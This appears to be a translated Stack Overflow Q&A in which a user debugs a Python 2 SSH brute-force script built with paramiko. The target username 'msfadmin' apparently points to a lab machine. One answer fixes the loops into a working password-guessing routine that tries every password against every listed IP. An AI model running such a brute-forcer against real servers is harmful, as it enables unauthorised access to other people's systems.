while循环使用文本文件时,只使用最后一行--Python 2.x.

时间:2014-03-11 11:17:11

标签: python loops ssh while-loop paramiko

我一直在编写一个小型的SSH暴力破解者,以了解paramiko模块。但是,在浏览文本文件以查看每个密码时,它只测试文本文件中的最后一个密码。我使用正确的循环吗?那么在这种情况下如何使用for循环?

import paramiko

UserName = 'msfadmin'
pass_file = 'pass.txt'
ip_file = 'ip.txt'
port = 22
Found = 0

pwd = open(pass_file, "r")
ips = open(ip_file, "r")

    def attempt():
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        for line in ips.readlines():
            ip = line.strip()
        for line2 in pwd.readlines():
            Passwords = line2.strip()

        while Found != 5:
            global UserName
            global port
            try:
                ssh.connect(ip, port, username=UserName, password=Passwords)
            except paramiko.AuthenticationException:
                print '[-] %s:%s fail!' % (UserName, Passwords)
            else:
                print '[!] %s:%s is CORRECT!' % (UserName, Passwords)

2 个答案:

答案 0 :(得分:1)

for line in ips.readlines():
    ip = line.strip()
for line2 in pwd.readlines():
    Passwords = line2.strip()

您将获取每一行,并使用当前读取的值替换ippasswords中的上一个值。相反,如果ips和密码的数量相对较小,则可以执行

count = 0
for ip in ips:
    for pwd in open(pass_file, "r"):
        try:
            ssh.connect(ip, port, username=UserName, password=pwd)
        except paramiko.AuthenticationException:
            print '[-] %s:%s fail!' % (UserName, pwd)
        else:
            print '[!] %s:%s is CORRECT for IP %s!' % (UserName, pwd, ip)
            count += 1
            if count == 5:
                return

答案 1 :(得分:0)

你的两个for循环只是遍历每个对象并每次更新ipPassword变量,这样当它们完成变量时,请参考循环中的最后一个值。

然而,你根本不清楚你要对这些变量做什么,所以我不能告诉你如何修复它。您是否希望每次迭代运行一次脚本的其余部分?或者你想创建一个包含所有元素的列表,然后迭代它?